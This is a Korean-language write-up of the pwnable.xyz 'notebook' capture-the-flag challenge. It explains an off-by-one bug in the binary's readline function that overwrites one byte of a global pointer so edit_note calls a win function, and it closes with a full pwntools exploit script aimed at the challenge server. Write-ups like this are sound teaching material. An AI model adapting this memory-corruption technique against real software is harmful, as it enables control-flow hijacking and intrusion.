문제 풀이 환경 : Ubuntu 16.04
📝 Analysis
<< Mitigation >>
딱히 특별한 점은 보이지 않는다.
<< Code >>
· main
note 만들기, 수정하기, 삭제하기, 그리고 notebook의 이름 다시 짓기. 이렇게 4가지 기능이 있다.
매번 보던 힙 익스 패턴인가 싶은데 오늘의 주목할 포인트는 거기가 아니다.
4번 메뉴가 이번 익스의 핵심 중 하나다.
· readline
delimiter이 나올 때까지, 혹은 size 크기만큼 입력을 받는 함수다.
위 주석에도 표시해놓았듯이 OOB, 그중에서도 Off by 1 취약점이 발생한다.
발생하는 조건은 인자로 넘어온 size 크기를 가득 채워서 보냈을 때다.
· make_note
note를 만드는 함수다. 구조는 아래와 같다.
· edit_note
ptr 전역 변수에 저장된 값을 기준으로 offset을 탐색하여 func을 부른다든지 해당 위치에 있는 주소를 기준으로 값을 수정한다.
✨ Thinking
readline을 이용하면 Off by 1을 이용해서 값을 하나 바꿀 수 있다는 걸 알았다.
이걸 어디에 이용할지 생각해보면 main에 있는 메뉴 4번을 괜히 준 게 아니니 bss 영역에서 nbook 전역 변수에서 0x80만큼 뒤에 있는 ptr을 조작할 수 있다.
그렇게 된다면 edit_note 함수에서 ptr에 저장된 주소를 기준으로 실행되다 보니 내가 원하는 값을 원하는 offset에서 조작할 수 있다.
🧩 Exploit Scenario
1. make_note로 note를 만들어준다.
이때 title의 payload를 [A * 4] [win 함수 포인터] 로 준다.
2. main의 메뉴 4번에 [A * 0x7f] [덮을 한 바이트값] 으로 nbook 값을 준다.
맨 마지막 바이트는 ptr의 첫 바이트 하나를 바꾼다.
바꿀 값은 0x20으로 준다.
이유는 다음 사진을 보면 알 수 있다.
0x1b28020 자리에 win 함수의 포인터가 들어가 있을 예정이다.
edit_note 함수를 보면 ptr에 notebook 청크의 처음 8Byte를 보고 get_size를 호출할 예정이었지만 ptr가 0x1b28010에서 0x1b28020으로 바뀌었기 때문에 win 함수를 호출하게 될 것이다.
여기서 왜 하필 0x20이냐 다른 값으로 바뀔 수 있는 것 아니냐라고 물을 수 있는데 이 문제를 기준으로 가장 먼저 생기는 청크가 make_note에서 만드는 청크이므로 뒤 1.5Byte는 000으로 고정이다. 그래서 예측이 가능한 것이다.
3. 마지막으로 edit_note 함수를 불러서 win 함수가 호출되도록 한다.
🚩 Flag 🚩
from pwn import *
# context.log_level = 'debug'
# p = process('./notebook')
p = remote('svc.pwnable.xyz', 30035)
e = ELF('./notebook')
def make(size, title, note):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'size: ', str(size).encode())
p.sendlineafter(b'Title: ', title) # 31 Bytes
p.sendlineafter(b'Note: ', note) # <size> Bytes
def edit(note):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'note: ', note)
def naming(name):
p.sendlineafter(b'> ', b'4')
p.sendafter(b'name: ', name)
p.sendlineafter(b': ', b'Karatus')
make(0x10, b'babe' + p64(e.sym['win']), b'B')
naming(b'A' * 0x7f + b'\x20')
edit(b'GOT IT')
p.interactive()